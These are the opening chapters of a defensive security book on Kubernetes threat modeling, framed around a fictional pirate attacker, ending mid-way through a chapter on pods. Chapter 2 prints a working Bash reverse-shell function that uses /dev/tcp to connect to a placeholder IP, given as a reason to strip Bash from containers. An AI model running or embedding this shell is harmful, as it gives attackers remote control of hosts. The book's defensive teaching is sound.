Hacking Kubernetes

Threat-Driven Analysis and Defense

Andrew Martin and Michael Hausenblas

Hacking Kubernetes

by Andrew
Martin
and Michael
Hausenblas

Copyright © 2022 Andrew Martin and Michael Hausenblas. All rights reserved.

Printed in the United States of America.

Published by O’Reilly Media, Inc.,
1005 Gravenstein Highway North, Sebastopol, CA 95472.

O’Reilly books may be purchased for educational, business, or sales promotional use. Online editions are also available for most titles (http://oreilly.com
). For more information, contact our corporate/institutional sales department: 800-998-9938 or
corporate@oreilly.com

.

- Acquisitions Editor:
John Devins

- Development Editor:
Angela Rufino

- Production Editor:
Beth Kelly

- Copyeditor:
Kim Cofer

- Proofreader:
Justin Billing

- Indexer:
nSight, Inc.

- Interior Designer:
David Futato

- Cover Designer:
Karen Montgomery

- Illustrator:
Kate Dullea

- October 2021:
First Edition

Revision History for the First Edition

- 2021-10-13:
First Release

See http://oreilly.com/catalog/errata.csp?isbn=9781492081739
for release details.

The O’Reilly logo is a registered trademark of O’Reilly Media, Inc. Hacking Kubernetes
, the cover image, and related trade dress are trademarks of O’Reilly Media, Inc.

The views expressed in this work are those of the authors, and do not represent the publisher’s views. While the publisher and the authors have used good faith efforts to ensure that the information and instructions contained in this work are accurate, the publisher and the authors disclaim all responsibility for errors or omissions, including without limitation responsibility for damages resulting from the use of or reliance on this work. Use of the information and instructions contained in this work is at your own risk. If any code samples or other technology this work contains or describes is subject to open source licenses or the intellectual property rights of others, it is your responsibility to ensure that your use thereof complies with such licenses and/or rights.

978-1-492-08173-9

[LSI]

Preface

Welcome to Hacking Kubernetes
, a book for Kubernetes practitioners who want to run their workloads securely and safely. At time of writing, Kubernetes has been around for some six years, give or take. There are over one hundred certified Kubernetes offerings
available, such as distributions and managed services. With an increasing number of organizations deciding to move their workloads to Kubernetes, we thought we’d share our experiences in this space, to help make your workloads more secure and safe to deploy and operate. Thank you for joining us on this journey, and we hope you have as much fun reading this book and applying what you learn as we had writing it.

In this preface, we will paint a picture of our intended audience, talk about why we wrote the book, and explain how we think you should go about using it by providing a quick content guide. We will also go over some administrative details like Kubernetes versions and conventions used.

About You

To get most out of the book, we assume that you either have a DevOps role, are a Kubernetes platform person, a cloud native architect, a site reliability engineer (SRE), or something related to being a chief information security officer (CISO). We further assume that you’re interested in being hands-on—while we discuss threats and defenses in principle, we try our best to demonstrate them at the same time and point you to tools that can help you.

At this point we also want to make sure you understand that the book you’re reading is targeting advanced topics. We assume that you’re already familiar with Kubernetes, and specifically Kubernetes security topics, at least on a surface level. In other words, we don’t go into much detail about how things work, but summarize or recap important concepts or mechanisms on a per-chapter basis.

Warning

We wrote this book with Blue and Red Teams in mind. It goes without saying that what we share here is to be used exclusively for defending your own Kubernetes cluster and workloads.

In particular, we assume that you understand what containers are for and how they run in Kubernetes. If you are not yet familiar with these topics, we recommend that you do some preliminary reading. The following are books we suggest consulting:

- Kubernetes: Up and Running

by Brendan Burns, Kelsey Hightower, and Joe Beda (O’Reilly)

- Managing Kubernetes

by Brendan Burns and Craig Tracey (O’Reilly)

- Kubernetes Security

by Liz Rice and Michael Hausenblas (O’Reilly)

- Container Security

by Liz Rice (O’Reilly)

- Cloud Native Security
by Chris Binnie and Rory McCune (Wiley)

Now that we have made clear what this book aims to achieve and who will, in our view, benefit from it, let’s move on to a different topic: the authors.

About Us

Based on our combined 10+ years of hands-on experience designing, running, attacking, and defending Kubernetes-based workloads and clusters, we, the authors, want to equip you, the cloud native security practitioner, with what you need to be successful in your job.

Security is often illuminated by the light of past mistakes, and both of us have been learning (and making mistakes in!) Kubernetes security for a while now. We wanted to be sure that what we thought we understood about the subject was true, so we wrote a book to verify our suspicions through a shared lens.

We have both served in different companies and roles, given training sessions, published material from tooling to blog posts, and we have shared lessons learned on the topic in various public speaking engagements. Much of what motivates us here and the examples we use are rooted in our experiences in our day-to-day jobs and/or things we observed at our clients’ companies.

How To Use This Book

This book is a threat-based guide to security in Kubernetes, using a vanilla Kubernetes installation with its (built-in) defaults as a starting point. We’ll kick off discussions with an abstract threat model of a distributed system running arbitrary workloads and progress to a detailed assessment of each component of a secure Kubernetes system.

In each chapter, we examine a component’s architecture and potential default settings and review high-profile attacks and historical Common Vulnerabilities and Exposures (CVEs). We also demonstrate attacks and share best-practice configuration in order to demonstrate hardening clusters from possible angles of attack.

In order to aid you in navigating the book, here’s a quick rundown on the chapter level:

- In Chapter 1, “Introduction”
we set the scene, introducing our main antagonist and also what threat modeling is.

- Chapter 2, “Pod-Level Resources”
then focuses on pods, from configurations to attacks to defenses.

- Next up, in Chapter 3, “Container Runtime Isolation”
, we switch gears and dive deep into sandboxing and isolation techniques.

- Chapter 4, “Applications and Supply Chain”
then covers supply chain attacks and what you can do to detect and mitigate them.

- In Chapter 5, “Networking”
we then review networking defaults and how to secure your cluster and workload traffic.

- Then, in Chapter 6, “Storage”
we shift our focus to aspects of persistence, looking at filesystems, volumes, and sensitive information at rest.

- Chapter 7, “Hard Multitenancy”
covers the topic of running workloads for multitenants in a cluster and what can go wrong with this.

- Next up is Chapter 8, “Policy”
, where we review different kinds of policies in use, discuss access control—specifically role-based access control (RBAC)—and generic policy solutions such as Open Policy Agent (OPA).

- In Chapter 9, “Intrusion Detection”
we cover the question of what you can do if, despite controls put in place, someone manages to break in.

- The last chapter, Chapter 10, “Organizations”
, is somewhat special, in that it doesn’t focus on tooling but on the human side of things, in the context of cloud as well as on-prem installations.

In Appendix A, “A Pod-Level Attack“
, we walk you through a hands-on exploration of attacks on the pod-level as discussed in Chapter 2
. Finally, in Appendix B, “Resources“
we put together further reading material on a per-chapter basis as well as a collection of annotated CVEs relevant in the context of this book.

You don’t have to read the chapters in order; we tried our best to keep the chapters as self-contained as possible and refer to related content where appropriate.

Note

Note that at the time of writing this book, Kubernetes 1.21 was the latest stable version. Most examples shown here work with earlier versions, and we’re fully aware that by the time you’re reading this book, the current version will potentially be significantly higher. The concepts stay the same.

With this short guide on what to expect and a quick orientation done, let’s have a look at conventions used in the book.

Conventions Used in This Book

The following typographical conventions are used in this book:

Italic

Indicates new terms, URLs, email addresses, filenames, and file extensions.

Constant width

Used for program listings. Also used within paragraphs to refer to program elements such as variable or function names, databases, data types, environment variables, statements, and keywords.

Tip

This element signifies a tip or suggestion.

Note

This element signifies a general note.

Warning

This element indicates a warning or caution.

Using Code Examples

Supplemental material is available at
http://hacking-kubernetes.info

.

If you have a technical question or a problem using the code examples, please email
bookquestions@oreilly.com

.

This book is here to help you get your job done. In general, if example code is offered with this book, you may use it in your programs and documentation. You do not need to contact us for permission unless you’re reproducing a significant portion of the code. For example, writing a program that uses several chunks of code from this book does not require permission. Selling or distributing examples from O’Reilly books does require permission. Answering a question by citing this book and quoting example code does not require permission. Incorporating a significant amount of example code from this book into your product’s documentation does require permission.

We appreciate but generally do not require attribution. An attribution usually includes the title, author, publisher, and ISBN. For example: “Hacking Kubernetes
by Andrew Martin and Michael Hausenblas (O’Reilly). Copyright 2022 Andrew Martin and Michael Hausenblas, 978-1-492-08173-9.”

If you feel your use of code examples falls outside fair use or the permission given above, feel free to contact us at
permissions@oreilly.com

.

O’Reilly Online Learning

Note

For more than 40 years,
O’Reilly Media

has provided technology and business training, knowledge, and insight to help companies succeed.

Our unique network of experts and innovators shares its knowledge and expertise through books, articles, and our online learning platform. O’Reilly’s online learning platform gives on-demand access to live training courses, in-depth learning paths, interactive coding environments, and a vast collection of text and video from O’Reilly and 200+ other publishers. For more information, visit
http://oreilly.com

.

How to Contact Us

Please address comments and questions concerning this book to the publisher:

- O’Reilly Media, Inc.

- 1005 Gravenstein Highway North

- Sebastopol, CA 95472

- 800-998-9938 (in the United States or Canada)

- 707-829-0515 (international or local)

- 707-829-0104 (fax)

We have a web page for this book, where we list errata, examples, and any additional information. You can access this page at
https://oreil.ly/HackingKubernetes

.

Email
bookquestions@oreilly.com

to comment or ask technical questions about this book.

For news and information about our books and courses, visit
http://oreilly.com

.

Find us on Facebook:
http://facebook.com/oreilly

Follow us on Twitter:
http://twitter.com/oreillymedia

Watch us on YouTube:
http://youtube.com/oreillymedia

Acknowledgments

Thanks go out to our reviewers Roland Huss, Liz Rice, Katie Gamanji, Ihor Dvoretskyi, Mark Manning, and Michael Gasch. Your comments absolutely made a difference and we appreciate your guidance and suggestions.

Andy would like to thank his family and friends for their unceasing love and encouragement, the inspiring and razor-sharp team at ControlPlane for their assiduous insight and guidance, and the continually enlightening cloud native security community for their relentless kindness and brilliance. Special thanks to Rowan Baker, Kevin Ward, Lewis Denham-Parry, Nick Simpson, Jack Kelly, and James Cleverley-Prance.

Michael would like to express his deepest gratitude to his awesome and supportive family: our kids Saphira, Ranya, and Iannis; my wicked smart and fun wife, Anneliese, and also our bestest of all dogs, Snoopy.

We would be remiss not to mention the Hacking Kubernetes Twitter list
of our inspirations
and mentors, featuring alphabetized luminaries such as @antitree
, @bradgeesaman
, @brau_ner
, @christianposta
, @dinodaizovi
, @erchiang
, @garethr
, @IanColdwater
, @IanMLewis
, @jessfraz
, @jonpulsifer
, @jpetazzo
, @justincormack
, @kelseyhightower
, @krisnova
, @kubernetesonarm
, @liggitt
, @lizrice
, @lordcyphar
, @lorenc_dan
, @lumjjb
, @mauilion
, @MayaKaczorowski
, @mikedanese
, @monadic
, @raesene
, @swagitda_
, @tabbysable
, @tallclair
, @torresariass
, @WhyHiAnnabelle
, and @captain
Hλ$ħ𝔍A¢k
.

Last but certainly not least, both authors thank the O’Reilly team, especially Angela Rufino, for shepherding us through the process of writing this book.

Chapter 1.
Introduction

Join us as we explore the many perilous paths through a pod and into Kubernetes. See the system from an adversary’s perspective: get to know the multitudinous defensive approaches and their weaknesses, and revisit historical attacks on cloud native systems through the piratical lens of your nemesis: Dread Pirate Captain Hashjack.

Kubernetes
has grown rapidly, and has historically not been considered to be “secure by default.” This is mainly due to security controls
such as

network and pod

security policies not being enabled by default on vanilla clusters.

Note

As authors we are infinitely grateful that our arc saw the cloud native enlightenment
, and we extend our heartfelt thanks to the volunteers, core contributors, and Cloud Native Computing Foundation (CNCF)

members involved in the vision and delivery of Kubernetes. Documentation and bug fixes don’t write themselves, and the incredible selfless contributions that drive open source communities have never been more freely given or more gratefully received.

Security controls are generally more difficult to get right than the complex orchestration and distributed system functionality that Kubernetes is known for. To the security teams especially, we thank you for your hard work! This book is a reflection on the pioneering voyage of the good ship Kubernetes, out on the choppy and dangerous free seas of the internet.

Setting the Scene

For the purposes of imaginative immersion: you have just become the chief information security officer (CISO) of the start-up freight company Boats, Cranes & Trains Logistics
, herein referred to as BCTL, which has just completed its Kubernetes migration.

The company has been hacked before and is “taking security seriously.” You have the authority to do what needs to be done to keep the company afloat, figuratively and literally.

Welcome to the job! It’s your first day, and you have been alerted to a credible threat against your cloud systems. Container-hungry pirate and generally bad egg Captain Hashjack and their clandestine hacker crew are lining up for a raid on BCTL’s Kubernetes clusters.

If they gain access, they’ll mine Bitcoin or cryptolock any valuable data they can find. You have not yet threat modeled your clusters and applications, or hardened them against this kind of adversary, and so we will guide you on your journey to defend them from the salty Captain’s voyage to encode, exfiltrate, or plunder whatever valuables they can find.

The BCTL cluster is a vanilla Kubernetes installation using kubeadm
on a public cloud provider. Initially, all
settings are at the defaults.

Tip

Historical
examples of marine control system

instability can be seen in the film Hackers
(1995), where Ellingson Mineral Company
’s oil tankers fall victim to an internal attack by the company’s CISO, Eugene “The Plague” Belford
.

To demonstrate hardening a
cluster, we’ll use an example insecure system. It’s managed by the BCTL site reliability engineering (SRE) team, which means the team is responsible for securing the Kubernetes master nodes. This increases the potential attack surface

of the cluster: a managed service hosts the control plane (master nodes and etcd
) separately, and their hardened configuration prevents some attacks (like a direct etcd
compromise), but both approaches depend on the secure configuration of the cluster to protect your workloads.

Let’s talk about your cluster. The nodes

run in a private network segment, so public (internet) traffic cannot reach them directly. Public traffic to your cluster is proxied through an internet-facing load
balancer: this means that the ports on your nodes are not directly accessible to the world unless targeted by the load balancer.

Running on the cluster there is a SQL datastore, as well as a frontend, API, and batch processor.

The hosted application—a booking service for your company’s clients—is deployed in a single namespace using
GitOps, but without a network policy or pod security policy as discussed in Chapter 8
.

Note

GitOps is declarative configuration deployment

for applications: think of it like traditional configuration management for Kubernetes clusters. You can read more at gitops.tech
and learn more on how to harden Git for GitOps in this whitepaper
.

Figure 1-1
shows a network diagram of the system.

Figure 1-1.
The system architecture of your new company, BCTL

The cluster’s RBAC was configured by engineers who have since moved on. The inherited security support services have intrusion detection and hardening, but the team has been disabling them from time to time as they were “making too much noise.” We will discuss this configuration in depth as we press on with the voyage. But first, let’s explore how to predict security threats to your clusters.

Starting to Threat Model

Understanding how a system is attacked is fundamental to defending it. A threat
model gives you a more complete understanding of a complex system, and provides a framework for rationalising security and risk. Threat actors categorize the potential adversaries that a system is configured to defend against.

Note

A threat model is like a fingerprint: every one is different. A threat model is based upon the impact of a system’s compromise: a Raspberry Pi hobby cluster and your bank’s clusters hold different data, have different potential attackers, and very different potential problems if broken into.

Threat modeling can reveal insights into your security program and configuration, but it doesn’t solve everything—see Mark Manning’s comments on CVEs in Figure 1-2
. You should make sure you are following basic
security hygiene (like patching and testing) before considering the more advanced and technical attacks that a threat model may reveal. The same is true for any security advice.

Figure 1-2.
Mark Manning’s insight on vulnerability assessment and CVEs

If your systems can be compromised by published CVEs and a copy of Kali Linux
, a threat model will not help you!

Threat Actors

Your threat actors are

either casual
or motivated
. Casual
adversaries include:

- Vandals (the graffiti kids of the internet generation)

- Accidental trespassers looking for treasure (which is usually your data)

- Drive-by “script kiddies,” who will run any code they find on the internet if it claims to help them hack

Casual attackers shouldn’t be a concern to most systems that are patched and well
configured.

Motivated individuals are the ones you should worry about. They include insiders like trusted employees, organized crime syndicates operating out of less-well-policed states, and state-sponsored actors, who may overlap with organized crime or sponsor it directly. “Internet crimes” are not well-covered by international laws and can be hard to police.

Table 1-1
can be used
as a guide
threat modeling.

Table 1-1.
Taxonomy of threat actors

Actor

Motivation

Capability

Sample attacks

Vandal: script kiddie, trespasser

Curiosity, personal fame.

Fame from

bringing down service or compromising confidential dataset of a high-profile company.

Uses publicly available tools and applications (Nmap, Metasploit, CVE PoCs). Some experimentation. Attacks are poorly concealed. Low level of targeting.

Small-scale DOS.

Plants trojans.

Launches prepackaged exploits for access, crypto mining.

Motivated individual: political activist, thief, terrorist

Personal, political, or ideological gain.

Personal gain to be had from exfiltrating and selling large amounts of personal data for fraud, perhaps achieved through manipulating code in version control or artifact storage, or exploiting vulnerable applications from knowledge gained in ticketing and wiki systems, OSINT, or other parts of the system.

Personal kudos from DDOS of large public-facing web service.

Defacement of the public-facing services through manipulation of code in version control or public servers can spread political messages amongst a large audience.

May combine publicly available exploits in a targeted fashion. Modify open source supply chains. Concealing attacks of minimal concern.

Phishing.

DDOS.

Exploit known vulnerabilities to obtain sensitive data from systems for profit and intelligence or to deface websites.

Compromise open source projects to embed code to exfiltrate environment variables and Secrets when code is run by users. Exported values are used to gain system access and perform crypto mining.

Insider: employee, external contractor, temporary worker

Discontent, profit.

Personal gain to be had from exfiltrating and selling large amounts of personal data for fraud, or making small alterations to the integrity of data in order to bypass authentication for fraud.

Encrypt data volumes for ransom.

Detailed knowledge of the system, understands how to exploit it, conceals actions.

Uses privileges to exfiltrate data (to sell on).

Misconfiguration/”codebombs” to take service down as retribution.

Organized crime: syndicates, state-affiliated groups

Ransom, mass extraction of PII/credentials/PCI data.

Manipulation of transactions for financial gain.

High level of motivation to access datasets or modify applications to facilitate large-scale fraud.

Crypto-ransomware, e.g., encrypt data volumes and demand cash.

Ability to devote considerable resources, hire “authors” to write tools and exploits required for their means. Some ability to bribe/coerce/intimidate individuals. Level of targeting varies. Conceals until goals are met.

Social engineering/phishing.

Ransomware (becoming more targeted).

Cryptojacking.

RATs (in decline).

Coordinated attacks using multiple exploits, possibly using a single zero-day or assisted by a rogue individual to pivot through infrastructure (e.g., Carbanak).

Cloud service insider: employee, external contractor, temporary worker

Personal gain, curiosity.

Unknown level of motivation, access to data should be restricted by cloud provider’s segregation of duties and technical controls.

Depends on segregation of duties and technical controls within cloud provider.

Access to or manipulation of datastores.

Foreign Intelligence Services (FIS): nation states

Intelligence gathering, disrupt critical national infrastructure, unknown.

May steal intellectual property, access sensitive systems, mine personal data en masse, or track down specific individuals through location data held by the system.

Disrupt or modify hardware/software supply chains. Ability to infiltrate organizations/suppliers, call upon research programs, develop multiple zero-days. Highly targeted. High levels of concealment.

Stuxnet (multiple zero-days, infiltration of 3 organizations including 2 PKI infrastructures with offline root CAs).

SUNBURST (targeted supply chain attack, infiltration of hundreds of organizations).

Note

Threat actors can be a hybrid of different categories. Eugene Belford, for example, was an insider who used advanced organized crime methods.

Captain Hashjack

is a motivated criminal adversary with extortion or robbery in mind. We don’t approve of their tactics—they don’t play fair, and they are a cad and a bounder—so we shall do our utmost to thwart their unwelcome interventions.

The pirate crew has been scouting for any advantageous information they can find online, and have already performed reconnaissance against BCTL. Using

open source intelligence (OSINT) techniques like searching job postings and LinkedIn skills of current staff, they have identified technologies in use at the organization. They know you use Kubernetes, and they can guess which version
you started on.

Your First Threat Model

To threat model a Kubernetes cluster, you
start with an architecture
view of the system as shown in Figure 1-3
. Gather as much information as possible to keep everybody aligned, but there’s a balance: ensure you don’t overwhelm people with too much information.

Figure 1-3.
Example Kubernetes attack vectors (Aqua
)

Tip

You can learn more about
threat modeling Kubernetes with ControlPlane’s O’Reilly course: Kubernetes Threat Modeling
.

This initial diagram might show the entire system, or you may choose to scope only one small or important area such as a particular pod, nodes, or the control plane.

A threat model’s “scope” is its target: the parts of the system we’re currently most interested in.

Next,
you zoom in on your scoped area. Model the

data flows and trust boundaries between components in a data flow diagram like Figure 1-3
. When deciding on trust boundaries, think about how Captain Hashjack might try to attack components.

An exhaustive list of possibilities is better than a partial list of feasibilities.

Adam Shostack,
Threat Modeling

Now that you know who you are defending against, you can enumerate some high-level threats against the system and start to check if your security configuration is suitable to defend against them.

To generate possible threats you must internalize the attacker mindset: emulate their instincts and preempt their tactics. The humble data flow diagram in Figure 1-4
is the defensive map of your silicon fortress, and it must be able to withstand Hashjack and their murky ilk.

Figure 1-4.
Kubernetes data flow diagram (GitHub
)

Tip

Threat
modeling should be performed with as many stakeholders as

possible (development, operations, QA, product, business stakeholders, security) to ensure diversity of thought.

You should try to build the first version of a
threat model without outside influence to allow fluid discussion and organic idea generation. Then you can pull in external sources to cross-check the group’s thinking.

Now that you have all the information you can gather on your system, you brainstorm. Think of simplicity, deviousness, and cunning. Any conceivable attack is in scope, and you will judge the likelihood of the attack separately. Some people like to use scores and weighted numbers for this, others prefer to rationalize the attack paths instead.

Capture your thoughts in a spreadsheet, mindmap, a list, or however makes sense to you. There are no rules, only trying, learning, and iterating on your own version of the process. Try to categorize
threats, and make sure you can review your captured data easily. Once you’ve done the first pass, consider what you’ve missed and have a quick second pass.

Then you’ve generated your initial threats—good job! Now it’s time to plot them on a graph so they’re easier to understand. This is the job of an attack tree: the pirate’s treasure
map.

Attack Trees

An attack tree

shows potential infiltration vectors. Figure 1-5
models how to take down the Kubernetes control plane.

Attack trees can be complex and span multiple pages, so you can start small like this branch of reduced scope.

This attack tree focuses on denial of service (DoS), which prevents (“denies”) access to the system (“service”). The attacker’s goal is at the top of the diagram, and the routes available to them start at the root (bottom) of the tree. The key on the left shows the shapes required for logical “OR” and “AND” nodes to be fulfilled, which build up to the top of the tree: the negative outcome. Confusingly, attack trees can be bottom-up or top-down: in this book we exclusively use bottom-up. We walk through attack trees later in this chapter.

Figure 1-5.
Kubernetes attack tree (GitHub
)

Tip

Kelly Shortridge
’s in-browser security decision tree tool Deciduous
can be used to

generate these attack trees as code.

As we progress through the book, we’ll use these techniques to identify high-risk areas of Kubernetes and consider the impact of successful

attacks.

Tip

A YAML deserialization Billion laughs
attack in CVE-2019-11253
affected Kubernetes to v1.16.1 by attacking the API server. It’s not covered on

this attack tree as it’s patched, but adding historical attacks to your attack trees is a useful way to acknowledge their threat if you think there’s a high chance they’ll reoccur in your system.

Example Attack Trees

It’s also useful
to draw attack trees to conceptualize how the system may be attacked and make the controls easier to reason about. Fortunately, our initial threat model contains some useful examples.

These diagrams use a simple legend, described in Figure 1-6
.

Figure 1-6.
Attack tree legend

The “Goal” is an attacker’s objective, and what we are building the attack tree to understand how to prevent.

The logical “AND” and “OR” gates define which of the child nodes need completing to progress through them.

In Figure 1-7
you see an attack tree starting with a threat actor’s remote code execution in a
container.

Figure 1-7.
Attack tree: compromised container

You now know what you want to protect against and have some simple attack trees, so you can quantify the controls you want to
use.

Prior Art

At this point, your
team has generated a list of threats. We can now cross-reference them against some commonly used threat modeling techniques and attack

data:

- STRIDE
(framework to enumerate possible threats)

- Microsoft Kubernetes Threat Matrix

- MITRE ATT&CK® Matrix for Containers

- OWASP Docker Top 10

This is also a good time to draw on

preexisting, generalized threat models that may exist:

- Trail of Bits
and Atredis Partners
Kubernetes Threat Model
for the Kubernetes Security Audit Working Group (now SIG-security
) and associated security findings
, examining the Kubernetes codebase and how to attack the orchestrator

- ControlPlane’s
Kubernetes Threat Model and Attack Trees
for the CNCF Financial Services User Group
, considering a user’s usage and hardened configuration of Kubernetes

- NCC’s
Threat Model and Controls
looking at system configuration

No threat model is ever complete. It is a point-in-time best effort from your stakeholders and should be regularly revised and updated, as the architecture, software, and external threats will continually change.

Software is never finished. You can’t just stop working on it. It is part of an ecosystem that is moving.

Moxie Marlinspike

Conclusion

Now you are equipped with the basics: you know your adversary, Captain Hashjack, and their capabilities. You understand what a threat model is, why it’s essential, and how to get to the point where you have a 360° view on your system. In this chapter we further discussed threat actors and attack trees and walked through a concrete example. We have a model in mind now so we’ll explore each of the main Kubernetes areas of interest. Let’s jump into the deep end: we start with the pod.

Chapter 2.
Pod-Level Resources

This chapter concerns the
atomic unit of Kubernetes deployment: a pod. Pods run apps, and an app may be one or more containers working together in one or more pods.

We’ll consider what bad things can happen in and around a pod, and look at how you can mitigate the risk of getting attacked.

As with any sensible security effort, we’ll begin by defining a lightweight threat model for your system, identifying the threat actors it defends against, and highlighting the most dangerous threats. This gives you a solid basis to devise countermeasures and controls, and take defensive steps to protect your customer’s valuable data.

We’ll go deep into the security model of a pod and look at what is trusted by default, where we can tighten security with configuration, and what an attacker’s journey looks like.

Defaults

Kubernetes has historically not been security hardened out of the box, and sometimes this may lead to

privilege escalation or container breakout.

If we zoom in on the relationship

between a single pod and the host in Figure 2-1
, we can see the services offered to the container by the kubelet
and potential security boundaries that may keep an adversary at bay.

By default
much of this is sensibly configured with least privilege, but where user-supplied configuration is more common (pod YAML, cluster policy, container images) there are more opportunities for accidental or malicious misconfiguration. Most defaults are sane—in this chapter we will show you where they are not, and demonstrate how to test that your clusters and workloads are configured securely.

Figure 2-1.
Pod architecture

Threat Model

We define a scope

for each threat model. Here, you are threat modeling a pod. Let’s consider a simple group of Kubernetes threats
to begin with:

Attacker on the network

Sensitive endpoints (such as the API server) can be attacked easily if public.

Compromised application leads to foothold in container

A compromised application (remote code execution, supply chain compromise) is the start of an attack.

Establish persistence

Stealing credentials or gaining persistence resilient to pod, node, and/or container restarts.

Malicious code execution

Running exploits to
pivot or escalate and enumerating endpoints.

Access sensitive data

Reading Secret data from the API server, attached storage, and network-accessible datastores.

Denial of service

Rarely a good use of an attacker’s time. Denial of Wallet and cryptolocking are common

variants.

Tip

The threat sources in “Prior Art”
have other negative outcomes to cross-reference with this list.

Anatomy of the Attack

Captain Hashjack started their assault on your systems by enumerating BCTL’s DNS subdomains and S3 buckets. These could have offered an easy way into the organization’s systems, but there was nothing easily exploitable on this occasion.

Undeterred, they create an account on the public website and log in, using a web application scanner like zaproxy
(OWASP Zed Attack Proxy) to pry into API calls and application code for unexpected responses. They’re on the search for leaking web-server banner and version information (to learn which exploits might succeed) and are generally injecting and fuzzing APIs for poorly handled user input.

This
is not a level of scrutiny that your poorly maintained codebase and systems are likely to withstand for long. Attackers may be searching for a needle in a haystack, but only the safest haystack has no needles at all.

Caution

Any computer should be resistant to this type of indiscriminate attack: a Kubernetes system should achieve “minimum viable security” through
the capability to protect itself from casual attack with up-to-date software and hardened configuration. Kubernetes encourages regular updates

by supporting the last three minor releases (e.g., 1.24, 1.23, and 1.22), which are released every 4 months and ensure a year of patch support. Older versions are unsupported and likely to be vulnerable.

Although many parts of an attack can be automated, this is an involved process. A casual attacker is more likely to scan widely for software paths that trigger published CVEs and run automated tools and scripts against large ranges of IPs (such as the ranges advertised by public cloud providers). These are noisy approaches.

Remote Code Execution

If a vulnerability in your

application can be used to run untrusted (and in this case, external) code, it is called a remote code execution (RCE). An adversary can use an RCE to spawn a
remote control session into the application’s environment: here it is the container handling the network request, but if the RCE manages to pass untrusted input deeper into the system, it may
exploit a different process, pod, or cluster.

Your first goal of Kubernetes and pod security should be to prevent RCE, which could be as simple as a kubectl exec
, or as complex as a

reverse shell, such as the one demonstrated in Figure 2-2
.

Figure 2-2.
Reverse shell into a Kubernetes pod

Application code changes frequently and may hide undiscovered bugs, so robust application security (AppSec) practices (including IDE and CI/CD integration of tooling and dedicated security requirements as task acceptance criteria) are essential to keep an attacker from compromising the processes running in a pod.

Note

The Java framework Struts

was one of the most widely deployed libraries to have suffered a remotely exploitable vulnerability (CVE-2017-5638), which contributed to the breach of Equifax customer data. To fix a supply chain vulnerability like this in a container, it is quickly rebuilt in CI with a patched library and redeployed, reducing the risk window of vulnerable libraries being exposed to the internet. We examine other ways to get remote code execution throughout the book.

With that, let’s move on to the network

aspects.

Network Attack Surface

The greatest

attack surface of a Kubernetes cluster is its network interfaces and public-facing pods. Network-facing services such as web servers are the first line of defense in keeping your clusters secure, a topic we will dive into in Chapter 5
.

This is because unknown users coming in from across the network can scan network-facing applications for the exploitable signs of RCE. They can use
automated network scanners to attempt to exploit known vulnerabilities and input-handling errors in network-facing code. If a process or system can be forced to run in an unexpected way, there is the possibility that it can be compromised through these untested logic paths.

To investigate how an attacker may establish a foothold in a remote system using only the humble, all-powerful
Bash shell, see, for example, Chapter 16 of
Cybersecurity Ops with bash

by Paul Troncone and Carl Albing (O’Reilly).

To defend against this, we must scan containers for operating system and application

CVEs in the hope of updating them before they are exploited.

If Captain Hashjack has an RCE into a pod, it’s a foothold to attack your system more deeply from the pod’s network position and permissions set. You should strive to limit what an attacker can do from this position, and customize your security configuration to a workload’s sensitivity. If your controls are too loose, this may be the beginning of an organization-wide breach for your employer, BCTL.

Tip

For an example of spawning a shell via Struts with Metasploit, see Sam Bowne’s guide
.

As Dread Pirate Hashjack has just discovered, we have also been running a vulnerable version of the Struts library. This offers an opportunity to start attacking the
cluster from within.

Warning

A simple Bash reverse shell
like this one is a good reason to remove Bash from your containers. It uses Bash’s virtual /dev/tcp/
filesystem, and is not exploitable in sh
, which doesn’t include this oft-abused feature:

revshell()

{

local

TARGET_IP

=

"

${

1

:-

123

.123.123.123

}

"

;

local

TARGET_PORT

=

"

${

2

:-

1234

}

"

;

while

:;

do

nohup bash -i &

> \

/dev/tcp/${

TARGET_IP

}

/${

TARGET_PORT

}

0>&

1;

sleep 1;

done

}

As the attack begins, let’s take a look at where the pirates have landed: inside a Kubernetes

pod.

Kubernetes Workloads: Apps in a Pod

Multiple cooperating containers

can be logically grouped into a single pod, and every container Kubernetes runs must run inside a pod. Sometimes a pod is called a “workload,” which is one of many copies of the same

execution environment. Each pod must run on a Node in your Kubernetes cluster as shown in Figure 2-3
.

A pod is a
single instance of your application, and to scale
to demand, many identical pods are used to replicate the application by a workload resource (such as a Deployment, DaemonSet, or StatefulSet).

Your pods may include

sidecar containers supporting monitoring, network, and security, and “init” containers for pod bootstrap, enabling you to deploy different application styles. These sidecars are likely to have elevated privileges and be of interest to an adversary.

“Init” containers

run in order (first to last) to set up a pod and can make security changes to the namespaces, like Istio’s init container that configures the pod’s iptables
(in the kernel’s netfilter) so the runtime (non-init container) pods route traffic through a sidecar container. Sidecars run alongside the primary container in the pod, and all non-init containers in a pod start at the same time.

Figure 2-3.
Cluster deployment example; source: Kubernetes documentation

What’s inside a
pod? Cloud native
applications are often microservices, web servers, workers, and batch processes. Some pods run one-shot tasks (wrapped with a job, or maybe one single nonrestarting container), perhaps running multiple other pods to assist. All these pods present an opportunity to an attacker. Pods get hacked. Or, more often, a network-facing container process gets hacked.

A pod is a trust

boundary encompassing all the containers inside, including their identity and access. There is still separation between pods that you can enhance with policy configuration, but you should consider the entire contents of a pod when threat modeling it.

Tip

Kubernetes is a distributed system, and ordering of actions (such as applying a multidoc YAML file) is eventually consistent, meaning that
API calls don’t always complete in the order that you expect. Ordering depends on various factors and shouldn’t be relied upon. Tabitha Sable has a mechanically sympathetic definition of Kubernetes.

What’s a Pod?

A pod as
depicted in Figure 2-4
is a Kubernetes invention. It’s an environment for multiple containers to run inside. The pod is the smallest deployable unit you can ask Kubernetes to run and all containers in it will be launched on the same node. A pod has its own IP address, can mount in storage, and its namespaces surround the containers created by the container runtime such as containerd
or CRI-O.

Figure 2-4.
Example pods (source: Kubernetes documentation
)

A container

is a mini-Linux, and its processes are containerized with control groups (cgroups
) to limit resource usage and namespaces to limit access. A variety of other controls can be applied to restrict a containerized process’s behavior, as we’ll see in this chapter.

The lifecycle

of a pod is controlled by the kubelet
, the Kubernetes API server’s deputy, deployed on each node in the cluster to manage and run containers. If the kubelet
loses contact with the API server, it will continue to manage its workloads, restarting them if necessary. If the kubelet
crashes, the container manager will also keep containers running in case they crash. The kubelet
and container manager oversee your workloads.

The kubelet
runs pods on
worker nodes to instruct the container runtime and configuring network and storage. Each container in a pod is a collection of Linux

namespaces, cgroups
,

capabilities, and Linux Security Modules (LSMs). As the container runtime builds a container, each namespace is created and
configured individually before being combined into a container.

Tip

